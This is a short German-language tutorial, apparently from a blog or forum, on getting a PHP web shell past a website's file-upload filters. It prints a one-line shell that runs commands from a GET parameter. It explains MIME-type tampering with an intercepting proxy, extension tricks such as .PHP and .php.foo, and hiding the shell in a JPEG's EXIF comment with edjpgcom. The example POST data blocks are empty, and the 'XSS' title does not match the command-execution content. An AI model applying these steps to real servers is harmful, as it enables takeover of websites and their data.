XSS Images



Fehlerlücken im Dateiupload


Es gibt verschiedene Wege den Dateiupload auf seiner Website zu schützen.

Das Angriffsskript, welches auf dem Server platziert werden soll ist wie folgt aufgebaut:

<?php
exec($_GET["cmd"]); 
?>

Eine mögliche Methode den Upload von beliebigen Dateien zu beschränken, besteht darin den content-type zu verifizieren.

Diese Filtermöglichkeit kann jedoch leicht mit einem interceptive Proxie umgangen werden (MIME-Type tampering).

Original Postdata:





Tampered Postdata:





Eine andere Methode besteht darin die Dateiendung zu manipulieren. Manchmal reicht es aus statt *.php, *.PHP zu schreiben. Man kann auch manchmal mehrere Endungen verketten. *.php.foo.

Falls keine der Dinge weiterhilft das Shellskript direkt zu tarnen, eignet sich hierfür das Skript in das Commentfield von JPEG Bildern zu integrieren, da JPEG-Dateien EXIF metadaten unterstützen, welche eine Kommentarfunktion besitzen, solange diese auf eine Zeile beschränkt sind.

Mit ein wenig Glück verzichtet der Server darauf den Inhalt des JPEG zu verifizieren.

Um die Headerfiles einer jpeg zu manipulieren eignen sich Tools wie JHead, Exiftools und edjpgcom. In diesem Beispiel werde ich edjpgcom verwenden.

http://www.chapelhill.homeip.net/horton/copies/edjpgcom/[...]

Nehmt ein beliebiges jpeg. Dann drag und drop auf die Anwendung um das Programm auszuführen und fügt dann das o.g. Skript ein.

Die JPEG sollte nun auch dem letzten Filter trotzen. Der Erfolg hängt nun sehr stark von der serverseitigen Verwaltung der hochgeladenen Bilder ab.

Sollte der Content unverändert in der Datenbank abgelegt und nicht etwa durch Base64-encodierung angepasst sein, oder durch weitere Filter in der Imagedarstellung maskiert werden, so können wir auf die Shell über GET-Parameter zugreifen